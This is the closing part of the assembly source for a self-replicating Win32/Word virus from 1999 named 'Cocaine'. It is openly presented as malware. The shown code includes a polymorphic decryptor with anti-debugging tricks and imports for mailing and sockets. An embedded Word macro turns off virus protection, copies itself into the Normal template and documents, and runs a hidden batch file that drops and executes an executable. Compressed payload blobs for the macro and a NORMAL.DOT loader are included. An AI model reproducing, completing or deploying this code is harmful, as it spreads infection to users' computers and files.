call [ebp+(ofs _SetFileAttributesA-ofs vcode)]
error_map:
sub eax, eax
ret
UnmapFile endp
random0 proc
sub eax, eax
random proc
push ecx edx
push eax
call delta
mov eax, [ebp+(ofs pseed-ofs vcode)]
mov ecx, 41c64e6dh
mul ecx
add eax, 3039h
and eax, 7ffffffh
mov [ebp+(ofs pseed-ofs vcode)], eax
pop ecx
jecxz @@3 ;limit set?
sub edx, edx
div ecx
xchg eax, edx ;value = rnd MOD limit
@@3:
mov ecx, [esp+(2*4)] ;ecx=ret address
cmp by [ecx], 0cch ;is ret address a int3?
jne @@4
jmp ebp ;if so, start to exec garbage
@@4:
pop edx ecx
sahf ;random flagz
ret
random endp
random0 endp
;name +4
;size +8
;buffer +12
WriteDump proc
sub eax, eax
push eax
push 12345678h ;hidden file
wd_att equ dwo $-4
push 2
push eax eax
push 0c0000000h ;read/write
push dwo [esp+4+(6*4)]
call [ebp+(ofs _CreateFileA-ofs vcode)]
mov ebx, eax
push 0
call @@61
dd 0
@@61:
push dwo [esp+8+(2*4)]
push dwo [esp+12+(3*4)]
push ebx
call [ebp+(ofs _WriteFile-ofs vcode)]
push ebx
call [ebp+(ofs _CloseHandle-ofs vcode)]
ret 12
WriteDump endp
FileMask db '\*.*', 0, 0, 0, 0
macro_crypt proc
pushad
mov al, 0
macro_key equ by $-1
mov ecx, ofs macro_end-ofs macro_start
lea edi, [ebp+(ofs macro_start-ofs vcode)]
@@1:
xor by [edi], al
inc edi
loop @@1
popad
ret
macro_crypt endp
CRC32 proc
cld
push ebx
mov ecx, -1
mov edx, ecx
NextByteCRC:
xor eax, eax
xor ebx, ebx
lodsb
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
NextBitCRC:
shr bx, 1
rcr ax, 1
jnc NoCRC
xor ax, 08320h
xor bx, 0edb8h
NoCRC:
dec dh
jnz NextBitCRC
xor ecx, eax
xor edx, ebx
dec di
jnz NextByteCRC
not edx
not ecx
pop ebx
mov eax, edx
rol eax, 16
mov ax, cx
ret
CRC32 endp
OpenAncev proc
sub eax, eax
push eax
push 80h
push 3
push eax eax
push 80000000h
call @@1
ancevsys db 'C:\ANCEV.SYS', 0
@@1:
call [ebp+(ofs _CreateFileA-ofs vcode)]
inc eax
jz @@filedontexists
dec eax
push eax
call [ebp+(ofs _CloseHandle-ofs vcode)]
@@fileexists:
clc
ret
@@filedontexists:
stc
ret
OpenAncev endp
align 4
dec_end_code equ this byte
DecriptInit proc
cld
sub eax, eax
db 0b8h+5 ;mov ebp, delta
_delta dd 00403000h
lea ebx, [ebp+(ofs vinit-ofs vcode)]
push ebx
lea ebx, [ebp+(ofs dec_end_code-ofs vcode)]
push dwo fs:[eax]
mov fs:[eax], esp ;set new seh frame
mov edi, ebp
mov eax, 0
key1 equ dwo $-4
@@1:
xor [edi], eax
scasd
add eax, 12345678h
org $-4
key2 dd 0
cmp edi, ebx
jne @@1
mov eax, cs:[0] ;cause fault
DecriptInit endp
ENDIF
vend equ this byte ;END OF PHYSICAL BODY
db 'EOV', 0
align 4
k32_address equ this byte
_CreateProcessA dd 0
_CreateFileA dd 0
_WinExec dd 0
_CloseHandle dd 0 ;add here a var that hold the
_LoadLibraryA dd 0
_FreeLibrary dd 0
_CreateFileMappingA dd 0
_MapViewOfFile dd 0
_UnmapViewOfFile dd 0
_FindFirstFileA dd 0
_FindNextFileA dd 0
_FindClose dd 0
_SetEndOfFile dd 0
_VirtualAlloc dd 0
_VirtualFree dd 0
_GetSystemTime dd 0
_GetWindowsDirectoryA dd 0
_GetSystemDirectoryA dd 0
_GetCurrentDirectoryA dd 0
_SetFileAttributesA dd 0
_SetFileTime dd 0
_ExitProcess dd 0
_GetCurrentProcess dd 0
_WriteProcessMemory dd 0
_WriteFile dd 0
_DeleteFileA dd 0
_Sleep dd 0
_CreateThread dd 0
_GetFileSize dd 0
_SetFilePointer dd 0
_MessageBoxA dd 0
_FindWindowA dd 0
_PostMessageA dd 0
_RegCloseKey dd 0
_RegQueryValueEx dd 0
_RegOpenKeyEx dd 0
_RegCreateKeyEx dd 0
_RegSetValueEx dd 0
_GetModuleHandle dd 0
_GetProcAddress dd 0 ;basic api init
_connect dd 0
_recv dd 0
_MAPISendMail dd 0
old_eip dd 0 ;first entrypoint place
patch_jump dd 0 ;where last jump is(patch!!)
sRVA dd 0 ;CODE section paramz, for
RawSize dd 0 ;branch_entry
lgarble db 0 ;last garble indicator
inf? db 0 ;can infect file?
_dec dw 0 ;instruction used to decript
K32 dd 0 ;kernel32 base
U32 dd 0 ;user32 base
pseed dd 0 ;poly seed
variables dd 0
reg32 dd 0 ;table of reg used
buffer dd 0 ;current work buffer
_size dd 0 ;size to encript
entry dd 0 ;delta to entrypoint
rva dd 0 ;place in meory where virus
;will run
flagz dd 0 ;garbling flagz
c_reg dd 0 ;actual counter reg
p_reg dd 0 ;actual pointer reg
recurse dd 0 ;recursion deep
decriptor dd 0 ;start of decriptor in current
;buffer
search_handle dd 0
_socket dd 0
socket dd MAX_SOCK dup (0)
recv_size dd 0
recv_buff dd 0
email_w dd 0
thread dd 0
email db 128 dup (0)
email_crc dd 0
secz db 0
mdeep db 0
align 4
handle1 dd 0
handle2 dd 0
map@ dd 0 ;map address
tamanho dd 0 ;total added size
ep dd 0 ;new entrypoint
image_infect dd 0
OurTimer dd 0
polybuffer dd 0 ;address of buffer for poly
buffer1 dd 0 ;temporary poly bufferz
buffer2 dd 0
mm_on_off dd 0
pe_header dd 0
seed dd 0 ;main random seed
_mapi dd 0
subject dd 0
directory db MAX_PATH dup (0) ;work directory structure
lparm dd 0
lvars dd 0
subs_index dd 0
s_into db 0
_pusha db 0
fname db 32 dup (0)
align 4
current_time equ this byte
_year dw 0
_month dw 0
_dayofweek dw 0
_day dw 0
_hour dw 0
_minute dw 0
_second dw 0
_milisecond dw 0
find_data equ this byte
fattr dd 0
c_creat_h dd 0
c_creat_l dd 0
la_creat_h dd 0
la_creat_l dd 0
lw_creat_h dd 0
lw_creat_l dd 0
fsizeh dd 0
fsizel dd 0
reserved dd 0, 0
filename db 260 dup (0)
altname db 13 dup (0)
altext db 3 dup (0)
subs_table db 6*MAX_SUBROUTINES dup (0) ;dd where sub reside
;db no. of param that sub clean
;db no. of vars that sub alloc
MapiMessage struc
resd dd ?
lpszSubject dd ?
lpszNoteText dd ?
lpszMessageType dd ?
lpszDateReceived dd ?
lpszConversationID dd ?
flags dd ?
lpOriginator dd ?
nRecipCount dd ?
lpRecips dd ?
nFileCount dd ?
lpFiles dd ?
MapiMessage ends
MapiRecipDesc struc
resd dd ?
ulRecipClass dd ?
lpszName dd ?
lpszAddress dd ?
ulEIDSize dd ?
lpEntryID dd ?
MapiRecipDesc ends
MapiFileDesc struc
resd dd ?
flFlags dd ?
nPosition dd ?
lpszPathName dd ?
lpszFileName dd ?
lpFileType dd ?
MapiFileDesc ends
MF MapiFileDesc <0>
mend equ this byte
_VSEG ends
end main
;----------------------------------(HOST.INC)---------------------------------
;Generic Host
;(c) Vecna 1999
;First generation host. Just pass control to virus and, when get control again
;show a dialog box and exit.
_TEXT segment dword use32 public 'CODE'
extrn ShellAboutA:Proc
extrn ExitProcess:pRoc
;I_AM_IDIOT_USER_THAT_CANT_COMPILE EQU TRUE ;antilamer code :P
main proc
IFNDEF I_AM_IDIOT_USER_THAT_CANT_COMPILE
jmp DecriptInit
ENDIF
host:
push 0
push ofs tit
push ofs msg
push 0
call ShellAboutA
push 0
call ExitProcess
main endp
_TEXT ends
_DATA segment dword use32 public 'DATA'
tit db 'W32/Wm.Cocaine by Vecna', 0
msg db 'Cocaine - A Win32/WinWord Virus#'
db 'Cocaine - Your PC is now addicted', 0
_DATA ends
;----------------------------------(HOST.INC)---------------------------------
;-----------------------------------(LZ.INC)----------------------------------
;LZ Decompression routines
;(c) Vecna 1999
;Converted from a C source
;These routines decompress a LZ packed buffer. They where coded in C, and
;converted to ASM using BCC32 with the -S switch. Beside the normal switchs
;to optimize, this was optimized by hand a bit. Virogen have in his www page
;a more optimized version of this routine, and other related material about
;compression in win32asm.
;void fast_copy(p_src,p_dst,len)
;
fast_copy proc
push edi esi ecx
mov ecx,dword ptr [esp+ 4+(4*3)]
mov edi,dword ptr [esp+ 8+(4*3)]
mov esi,dword ptr [esp+12+(4*3)]
cld
rep movsb
pop ecx esi edi
ret 12
fast_copy endp
lzrw1_decompress proc near
?live1@768:
;
; void lzrw1_decompress(p_src_first,src_len,p_dst_first,p_dst_len)
;
@27:
push ebp
mov ebp,esp
add esp,-8
push ebx
push esi
push edi
;
; /* Input : Specify input block using p_src_first and src_len. */
; /* Input : Point p_dst_first to the start of the output zone. */
; /* Input : Point p_dst_len to a ULONG to receive the output length. */
; /* Input : Input block and output zone must not overlap. User knows */
; /* Input : upperbound on output block length from earlier compression. */
; /* Input : In any case, maximum expansion possible is eight times. */
; /* Output : Length of output block written to *p_dst_len. */
; /* Output : Output block in Mem[p_dst_first..p_dst_first+*p_dst_len-1]. */
; /* Output : Writes only in Mem[p_dst_first..p_dst_first+*p_dst_len-1]. */
; UBYTE *p_src_first, *p_dst_first; ULONG src_len, *p_dst_len;
; {UWORD controlbits=0, control;
;
?live1@784: ; EDI = control, ECX = p_src_first
xor esi,esi
?live1@800: ;
mov ecx,dword ptr [ebp+20]
;
; UBYTE *p_src=p_src_first+FLAG_BYTES, *p_dst=p_dst_first,
; *p_src_post=p_src_first+src_len;
;
?live1@816: ; EAX = p_src, EDX = p_dst, EDI = control, ESI = controlbits, ECX = p_src_first
;
mov ebx,dword ptr [ebp+16]
add ebx,ecx
?live1@832: ; EDI = control, ESI = controlbits, ECX = p_src_first
mov edx,dword ptr [ebp+12]
?live1@848: ; EAX = p_src, EDX = p_dst, EDI = control, ESI = controlbits, ECX = p_src_first
;
mov dword ptr [ebp-4],ebx
?live1@864: ; EDI = control, ESI = controlbits, ECX = p_src_first
lea eax,dword ptr [ecx+4]
;
; if (*p_src_first==FLAG_COPY)
;
?live1@880: ; EAX = p_src, EDX = p_dst, EDI = control, ESI = controlbits, ECX = p_src_first
;
cmp byte ptr [ecx],1
jne short @28
;
; {fast_copy(p_src_first+FLAG_BYTES,p_dst_first,src_len-FLAG_BYTES);
;
?live1@896: ; ECX = p_src_first
add ecx,4
push ecx
mov eax,dword ptr [ebp+12]
push eax
mov edi,dword ptr [ebp+16]
sub edi,4
push edi
call fast_copy
;
; *p_dst_len=src_len-FLAG_BYTES; return;}
;
?live1@912: ; EDI = @temp14
mov eax,dword ptr [ebp+8]
mov dword ptr [eax],edi
jmp short @29
;
; while (p_src!=p_src_post)
;
?live1@928: ; EAX = p_src, EDX = p_dst, EDI = control, ESI = controlbits
@28:
cmp eax,dword ptr [ebp-4]
je short @31
;
; {if (controlbits==0)
;
@30:
test esi,esi
jne short @32
;
; {control=*p_src++; control|=(*p_src++)<<8; controlbits=16;}
;
?live1@960: ; EAX = p_src, EDX = p_dst
movzx edi,byte ptr [eax]
inc eax
xor ecx,ecx
; mov esi,16
push 16
pop esi
mov cl,byte ptr [eax]
shl ecx,8
or edi,ecx
inc eax
;
; if (control&1)
;
?live1@976: ; EAX = p_src, EDX = p_dst, EDI = control, ESI = controlbits
@32:
test edi,1
je short @33
; jnc short @33
;
; {UWORD offset,len; UBYTE *p;
; offset=(*p_src&0xF0)<<4; len=1+(*p_src++&0xF);
;
@34:
xor ebx,ebx
xor ecx,ecx
mov bl,byte ptr [eax]
mov cl,byte ptr [eax]
and ebx,15
inc eax
inc ebx
and ecx,240
mov dword ptr [ebp-8],ebx
;
; offset+=*p_src++&0xFF; p=p_dst-offset;
;
?live1@1008: ; EAX = p_src, EDX = p_dst, EDI = control, ESI = controlbits, ECX = offset
;
xor ebx,ebx
mov bl,byte ptr [eax]
inc eax
?live1@1024: ; EAX = p_src, EDX = p_dst, EDI = control, ESI = controlbits
shl ecx,4
?live1@1040: ; EAX = p_src, EDX = p_dst, EDI = control, ESI = controlbits, ECX = offset
;
and ebx,255
add ecx,ebx
mov ebx,edx
sub ebx,ecx
mov ecx,ebx
jmp short @36
;
; while (len--) *p_dst++=*p++;}
;
?live1@1056: ; EAX = p_src, EDX = p_dst, ECX = p, EDI = control, ESI = controlbits
;
@35:
mov bl,byte ptr [ecx]
inc ecx
mov byte ptr [edx],bl
inc edx
@36:
mov ebx,dword ptr [ebp-8]
add dword ptr [ebp-8],-1
test ebx,ebx
jne short @35
@37:
jmp short @38
;
; else
; *p_dst++=*p_src++;
;
?live1@1072: ; EAX = p_src, EDX = p_dst, EDI = control, ESI = controlbits
@33:
mov cl,byte ptr [eax]
inc eax
mov byte ptr [edx],cl
inc edx
;
; control>>=1; controlbits--;
;
@38:
shr edi,1
dec esi
cmp eax,dword ptr [ebp-4]
jne short @30
;
; }
; *p_dst_len=p_dst-p_dst_first;
;
?live1@1120: ; EDX = p_dst
@31:
sub edx,dword ptr [ebp+12]
mov eax,dword ptr [ebp+8]
mov dword ptr [eax],edx
;
; }
;
?live1@1136: ;
@39:
@29:
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 16
lzrw1_decompress endp
;-----------------------------------(LZ.INC)----------------------------------
;---------------------------------(MACRO.INC)---------------------------------
;Macro poly data
;(c) Vecna 1999
;ASM->COM->LZ->INC
;The code in COMMENT bellow is to be compiled to a .COM file, then compressed
;with my LZ compressor, then BIN2INCed. It is the code used for macro poly
;engine and do the actual infection process. The macro code is divided in
;chunks. The format of each chunks is simple: the first byte indicate the
;step that this chunk will be processed, and follow a ASCIIZ string. The macro
;poly engine copies each chunk, mixing the ones from the same level between
;themselfs, and inserting macro garbage code between real macro lines. Some
;chunks(6) receive special processing by the engine ;-)
;The macro poly engine also do magic with the %X labels: they're changed by
;random strings.
; '%1
; SUB AUTOCLOSE()
; ON ERROR RESUME NEXT
; OPTIONS.VIRUSPROTECTION = FALSE
; OPTIONS.CONFIRMCONVERSIONS = FALSE
; OPTIONS.SAVENORMALPROMPT = FALSE
; APPLICATION.DISPLAYALERTS = WDALERTSNONE
; SHOWVISUALBASICEDITOR = FALSE
; %2=1
; %3=1
; FOR %4 = 1 TO NORMALTEMPLATE.VBPROJECT.VBCOMPONENTS.COUNT
; IF NORMALTEMPLATE.VBPROJECT.VBCOMPONENTS(%4).CODEMODULE.LINES(1,1) = "'%1" THEN %2=%4
; NEXT %4
; FOR %4 = 1 TO ACTIVEDOCUMENT.VBPROJECT.VBCOMPONENTS.COUNT
; IF ACTIVEDOCUMENT.VBPROJECT.VBCOMPONENTS(%4).CODEMODULE.LINES(1,1) = "'%1" THEN %3=%4
; NEXT %4
; OPEN "C:\%7.BAT" FOR OUTPUT AS 1
; PRINT #1,"@ECHO OFF"
; PRINT #1,"DEBUG <C:\COCAINE.SRC >NUL"
; PRINT #1,"COPY C:\W32COKE.EX C:\W32COKE.EXE >NUL"
; PRINT #1,"C:\W32COKE.EXE"
; PRINT #1,"DEL C:\W32COKE.EX >NUL"
; PRINT #1,"DEL C:\COCAINE.SRC >NUL"
; PRINT #1,"DEL C:\COCAINE.SYS >NUL"
; PRINT #1,"DEL C:\W32COKE.EXE >NUL"
; PRINT #1,"DEL C:\%7.BAT >NUL"
; CLOSE #1
; SET %5 = NORMALTEMPLATE.VBPROJECT.VBCOMPONENTS(%2).CODEMODULE
; SET %6 = ACTIVEDOCUMENT.VBPROJECT.VBCOMPONENTS(%3).CODEMODULE
; IF %5.LINES(1, 1) <> "'%1" THEN
; %5.DELETELINES 1, %5.COUNTOFLINES
; %5.INSERTLINES 1, %6.LINES(1, %6.COUNTOFLINES)
; END IF
; IF %6.LINES(1, 1) <> "'%1" THEN
; %6.DELETELINES 1, %6.COUNTOFLINES
; %6.INSERTLINES 1, %5.LINES(1, %5.COUNTOFLINES)
; END IF
; OPEN "C:\ANCEV.SYS" FOR OUTPUT AS 1
; CLOSE 1
; SHELL %7.BAT, VBHIDE
; FOR %4 = 1 TO 100
; NEXT %4
; KILL %7.BAT
; END SUB
;
; The following code should be compiled to a .COM file:
;
; .MODEL TINY
; .CODE
; .STARTUP
;
; CRLF EQU <13,10>
;
; DB 1
; DB "'%1", CRLF
; DB "SUB AUTOCLOSE()", CRLF
; DB "ON ERROR RESUME NEXT", CRLF
; DB 0
;
; DB 2
; DB "OPTIONS.VIRUSPROTECTION = FALSE", CRLF
; DB 0
;
; DB 2
; DB "OPTIONS.CONFIRMCONVERSIONS = FALSE", CRLF
; DB 0
;
; DB 2
; DB "OPTIONS.SAVENORMALPROMPT = FALSE", CRLF
; DB 0
;
; DB 2
; DB "APPLICATION.DISPLAYALERTS = WDALERTSNONE", CRLF
; DB 0
;
; DB 2
; DB "SHOWVISUALBASICEDITOR = FALSE", CRLF
; DB 0
;
; DB 2
; DB "%2=1", CRLF
; DB 0
;
; DB 2
; DB "%3=1", CRLF
; DB 0
;
; DB 3
; DB "FOR %4 = 1 TO NORMALTEMPLATE.VBPROJECT.VBCOMPONENTS.COUNT", CRLF
; DB 'IF NORMALTEMPLATE.VBPROJECT.VBCOMPONENTS(%4).CODEMODULE.LINES(1,1) = "''%1" THEN %2=%4', CRLF
; DB "NEXT %4", CRLF
; DB 0
;
; DB 3
; DB "FOR %4 = 1 TO ACTIVEDOCUMENT.VBPROJECT.VBCOMPONENTS.COUNT", CRLF
; DB 'IF ACTIVEDOCUMENT.VBPROJECT.VBCOMPONENTS(%4).CODEMODULE.LINES(1,1) = "''%1" THEN %3=%4', CRLF
; DB "NEXT %4", CRLF
; DB 0
;
; DB 3
; DB 'OPEN "C:\%7.BAT" FOR OUTPUT AS 1', CRLF
; DB 'PRINT #1,"@ECHO OFF"', CRLF
; DB 'PRINT #1,"DEBUG <C:\COCAINE.SRC >NUL"', CRLF
; DB 'PRINT #1,"COPY C:\W32COKE.EX C:\W32COKE.EXE >NUL"', CRLF
; DB 'PRINT #1,"C:\W32COKE.EXE"', CRLF
; DB 'PRINT #1,"DEL C:\W32COKE.EX >NUL"', CRLF
; DB 'PRINT #1,"DEL C:\COCAINE.SRC >NUL"', CRLF
; DB 'PRINT #1,"DEL C:\COCAINE.SYS >NUL"', CRLF
; DB 'PRINT #1,"DEL C:\W32COKE.EXE >NUL"', CRLF
; DB 'PRINT #1,"DEL C:\%7.BAT >NUL"', CRLF
; DB 'CLOSE #1', CRLF
; DB 0
;
; DB 4
; DB "SET %5 = NORMALTEMPLATE.VBPROJECT.VBCOMPONENTS(%2).CODEMODULE", CRLF
; DB 0
;
; DB 4
; DB "SET %6 = ACTIVEDOCUMENT.VBPROJECT.VBCOMPONENTS(%3).CODEMODULE", CRLF
; DB 0
;
; DB 5
; DB 'IF %5.LINES(1, 1) <> "''%1" THEN', CRLF
; DB "%5.DELETELINES 1, %5.COUNTOFLINES", CRLF
; DB "%5.INSERTLINES 1, %6.LINES(1, %6.COUNTOFLINES)", CRLF
; DB "END IF", CRLF
; DB 0
;
; DB 5
; DB 'IF %6.LINES(1, 1) <> "''%1" THEN', CRLF
; DB "%6.DELETELINES 1, %6.COUNTOFLINES", CRLF
; DB "%6.INSERTLINES 1, %5.LINES(1, %5.COUNTOFLINES)", CRLF
; DB "END IF", CRLF
; DB 0
;
; DB 6
;;CREATE DEBUG SCRIPT
; DB 0
;
; DB 7
; DB 'OPEN "C:\ANCEV.SYS" FOR OUTPUT AS 1', CRLF
; DB 'PRINT #1,""', CRLF
; DB "CLOSE #1", CRLF
; DB 0
;
; DB 7
; DB "SHELL %7.BAT, VBHIDE", CRLF
; DB "FOR %4=1 TO 100", CRLF
; DB "NEXT %4", CRLF
; DB "KILL %7.BAT", CRLF
; DB 0
;
; DB 8
; DB "END SUB", CRLF
; DB 0
;
; END
macro_sized dd 0
macro_size EQU 750 ; size in bytes
macros DB 000H,000H,000H,000H,000H,000H,001H,027H,025H,031H,00DH,00AH,053H,055H
DB 042H,020H,041H,055H,054H,04FH,043H,04CH,000H,000H,04FH,053H,045H,028H,029H
DB 00DH,00AH,04FH,04EH,020H,045H,052H,052H,04FH,052H,020H,000H,000H,052H,045H
DB 053H,055H,04DH,045H,020H,04EH,045H,058H,054H,00DH,00AH,000H,002H,04FH,000H
DB 000H,050H,054H,049H,04FH,04EH,053H,02EH,056H,049H,052H,055H,053H,050H,052H
DB 04FH,054H,004H,008H,045H,043H,003H,011H,020H,03DH,020H,046H,041H,04CH,053H
DB 045H,00BH,023H,043H,04FH,04EH,046H,008H,007H,049H,052H,04DH,002H,007H,056H
DB 045H,052H,053H,003H,036H,00FH,026H,003H,049H,053H,041H,056H,045H,04EH,020H
DB 002H,04FH,052H,04DH,041H,04CH,002H,04EH,04DH,050H,054H,00BH,024H,041H,050H
DB 050H,04CH,049H,043H,002H,000H,041H,003H,061H,02EH,044H,049H,053H,050H,04CH
DB 041H,059H,041H,04CH,045H,052H,054H,053H,089H,000H,002H,025H,057H,044H,005H
DB 00BH,04EH,04FH,04EH,004H,076H,053H,048H,04FH,057H,056H,049H,053H,055H,000H
DB 018H,041H,04CH,042H,041H,053H,049H,043H,045H,044H,049H,054H,002H,0BEH,00AH
DB 097H,025H,032H,03DH,021H,009H,002H,0E9H,000H,002H,025H,033H,004H,008H,003H
DB 046H,002H,01FH,025H,034H,002H,04AH,031H,020H,054H,04FH,022H,068H,020H,005H
DB 083H,054H,045H,04DH,002H,065H,054H,045H,02EH,056H,042H,002H,08EH,04AH,002H
DB 0DCH,002H,00AH,043H,008H,090H,04FH,04DH,050H,002H,065H,04EH,054H,053H,02EH
DB 043H,04FH,055H,04EH,012H,007H,049H,046H,00FH,030H,043H,000H,00FH,030H,005H
DB 030H,028H,025H,034H,029H,002H,034H,044H,045H,04DH,04FH,044H,055H,04CH,045H
DB 02EH,000H,014H,04CH,049H,04EH,045H,053H,028H,031H,02CH,031H,029H,002H,077H
DB 022H,012H,079H,022H,020H,054H,010H,0AAH,048H,045H,04EH,020H,002H,09BH,025H
DB 034H,00DH,00AH,013H,064H,020H,003H,009H,000H,00EH,09DH,041H,012H,064H,020H
DB 0BBH,056H,045H,044H,04FH,043H,012H,08AH,04EH,054H,002H,093H,00FH,09DH,045H
DB 00DH,09DH,00FH,030H,00FH,0CDH,04EH,003H,030H,0CBH,004H,00FH,09DH,00FH,09DH
DB 031H,007H,09DH,033H,03DH,003H,094H,00AH,09DH,04FH,050H,002H,0B4H,022H,043H
DB 03AH,05CH,025H,080H,000H,037H,02EH,042H,041H,054H,022H,020H,013H,04BH,04FH
DB 055H,054H,050H,055H,054H,020H,041H,004H,000H,053H,020H,012H,066H,050H,052H
DB 049H,04EH,054H,020H,023H,031H,02CH,022H,040H,045H,043H,000H,002H,048H,04FH
DB 020H,04FH,046H,046H,022H,00DH,00AH,009H,016H,044H,045H,042H,055H,047H,020H
DB 042H,000H,03CH,002H,043H,043H,04FH,043H,041H,012H,016H,02EH,053H,052H,043H
DB 020H,03EH,04EH,055H,04CH,041H,000H,00CH,027H,043H,04FH,050H,059H,020H,002H
DB 025H,057H,033H,032H,043H,04FH,04BH,045H,02EH,045H,06AH,031H,058H,00DH,00EH
DB 045H,00FH,033H,02CH,003H,096H,009H,02EH,045H,00CH,04EH,044H,045H,04CH,00DH
DB 03FH,00FH,03EH,02CH,022H,09FH,0FFH,006H,023H,00FH,095H,00FH,047H,003H,047H
DB 008H,024H,059H,053H,00FH,048H,008H,048H,00AH,08AH,00FH,024H,008H,024H,015H
DB 044H,007H,01FH,034H,080H,012H,039H,001H,06FH,032H,048H,004H,053H,045H,054H
DB 020H,025H,035H,022H,02AH,02FH,09CH,01FH,0CFH,016H,0CFH,032H,02BH,06CH,008H
DB 041H,036H,0AFH,014H,002H,041H,02FH,010H,00FH,041H,006H,041H,033H,00EH,041H
DB 005H,022H,0E8H,025H,035H,028H,0B6H,020H,022H,0B7H,03CH,03EH,020H,019H,071H
DB 029H,0B8H,00DH,00AH,002H,01EH,012H,033H,045H,054H,045H,024H,03DH,020H,031H
DB 02CH,002H,0B1H,022H,0F1H,032H,025H,04FH,0C6H,065H,046H,004H,013H,004H,023H
DB 049H,04EH,053H,032H,0B5H,004H,010H,004H,023H,036H,009H,053H,025H,036H,00CH
DB 02FH,042H,079H,045H,0E0H,0F3H,04EH,044H,020H,049H,046H,002H,0BFH,004H,07EH
DB 00AH,02BH,00FH,07EH,002H,05BH,036H,02EH,00FH,07EH,00DH,04FH,004H,023H,00FH
DB 07EH,033H,002H,00AH,0D1H,002H,0BFH,043H,04FH,009H,0ADH,00BH,07EH,006H,000H
DB 007H,028H,0E7H,041H,04EH,043H,045H,056H,02EH,078H,040H,053H,059H,053H,02FH
DB 0EAH,02CH,0EAH,022H,025H,01AH,0BEH,007H,053H,048H,045H,04CH,04CH,020H,015H
DB 0DEH,02CH,0C0H,088H,020H,056H,042H,048H,049H,044H,042H,0A8H,033H,02AH,025H
DB 034H,03DH,044H,073H,031H,030H,030H,03AH,0F4H,004H,000H,04BH,049H,008H,02FH
DB 00DH,00AH,000H,008H,045H,04EH,044H,020H,053H,055H,042H,00DH,00AH,000H,000H
DB 000H
;---------------------------------(MACRO.INC)---------------------------------
;----------------------------------(NDOT.INC)---------------------------------
;Macro poly data
;(c) Vecna 1999
;This is the binary image of the LZ compressed NORMAL.DOT loader. The loader
;is, basically, a WinWord8 template with the code below. Its function is load
;the 2nd part of the macro virus code, polymorphic, from the disk. The routine
;that drop the image should be changed to make it _patch_ the ' COCAINE string
;and making the virus stop reinfecting, copying the first line of the virus
;dropped source to there... bahh, nevermind... :-)
;Sub AutoExec()
;On Error Goto erro
;Application.DisplayAlerts = False
;Application.EnableCancelKey = wdDisabled
;For i = 1 To NormalTemplate.VBProject.VBComponents.Count
;If NormalTemplate.VBProject.VBComponents(i).CodeModule.Lines(1,1) = "'Cocaine" Then GoTo erro
;Next i
;NormalTemplate.VBProject.VBComponents.Import("c:\cocaine.sys")
;NormalTemplate.Save
;erro:
;End Sub
normaldot_size EQU 8292 ; size in bytes
normaldot_sized dd 0
normaldot DB 000H,000H,000H,000H,000H,002H,0D0H,0CFH,011H,0E0H,0A1H,0B1H,01AH,0E1H
DB 000H,00EH,001H,03EH,000H,003H,000H,0FEH,0FFH,0A8H,061H,009H,000H,006H,00AH
DB 018H,001H,002H,00CH,021H,002H,004H,004H,003H,010H,000H,000H,023H,002H,009H
DB 003H,014H,0FEH,0C8H,0FFH,0FFH,0FFH,0FFH,002H,00BH,000H,020H,002H,005H,002H
DB 00BH,00FH,003H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,007H,000H,00FH,010H,00FH,010H,00CH,010H,0ECH
DB 0A5H,0C1H,000H,049H,000H,016H,004H,000H,000H,001H,012H,0BFH,03FH,000H,012H
DB 0C0H,002H,003H,012H,0DAH,002H,006H,003H,012H,002H,004H,00EH,000H,062H,06AH
DB 062H,06AH,0B2H,0B3H,0B2H,0B3H,003H,0E0H,002H,014H,00EH,003H,016H,004H,016H
DB 000H,01EH,00CH,000H,000H,0D0H,0D9H,001H,004H,004H,023H,00CH,00EH,023H,0F1H
DB 0CAH,00CH,00FH,0FFH,0FFH,00FH,008H,010H,00FH,00CH,008H,019H,006H,009H,05DH
DB 004H,008H,08CH,004H,006H,000H,000H,003H,008H,003H,004H,0B7H,067H,003H,00FH
DB 00FH,008H,00BH,010H,014H,003H,021H,006H,004H,0BCH,00FH,008H,00FH,010H,002H
DB 010H,002H,0BDH,000H,0C8H,006H,008H,007H,030H,018H,0D0H,0AFH,002H,000H,000H
DB 0B6H,002H,014H,0E0H,002H,004H,003H,003H,00FH,008H,00FH,010H,00FH,010H,007H
DB 010H,018H,012H,00FH,0C7H,002H,041H,076H,055H,0DFH,002H,008H,002H,007H,000H
DB 00FH,008H,00FH,010H,003H,010H,024H,002H,029H,0CEH,002H,080H,0F4H,002H,034H
DB 0C2H,012H,07EH,03EH,0F5H,0FFH,002H,010H,003H,002H,010H,015H,002H,008H,00FH
DB 003H,007H,0F8H,007H,070H,00FH,020H,007H,018H,00FH,008H,007H,010H,003H,058H
DB 003H,034H,007H,010H,007H,050H,0FFH,05FH,007H,008H,007H,018H,003H,024H,003H
DB 004H,007H,010H,00FH,008H,00FH,010H,007H,010H,00FH,048H,00FH,010H,013H,020H
DB 003H,058H,00FH,004H,0A0H,002H,011H,00EH,0FDH,0FBH,002H,004H,0AEH,002H,004H
DB 003H,008H,007H,038H,00FH,008H,007H,010H,007H,070H,007H,050H,003H,010H,038H
DB 002H,03CH,003H,008H,002H,007H,008H,003H,007H,020H,0FFH,006H,007H,038H,007H
DB 008H,008H,021H,00FH,009H,00FH,010H,00EH,010H,007H,050H,007H,068H,0D4H,002H
DB 020H,023H,050H,0A0H,010H,0DAH,09BH,0B8H,0F8H,0FFH,065H,0BEH,001H,027H,050H
DB 007H,008H,007H,028H,007H,038H,002H,02FH,00FH,003H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FDH,0FFH,002H,010H,00DH,002H
DB 004H,00FH,003H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
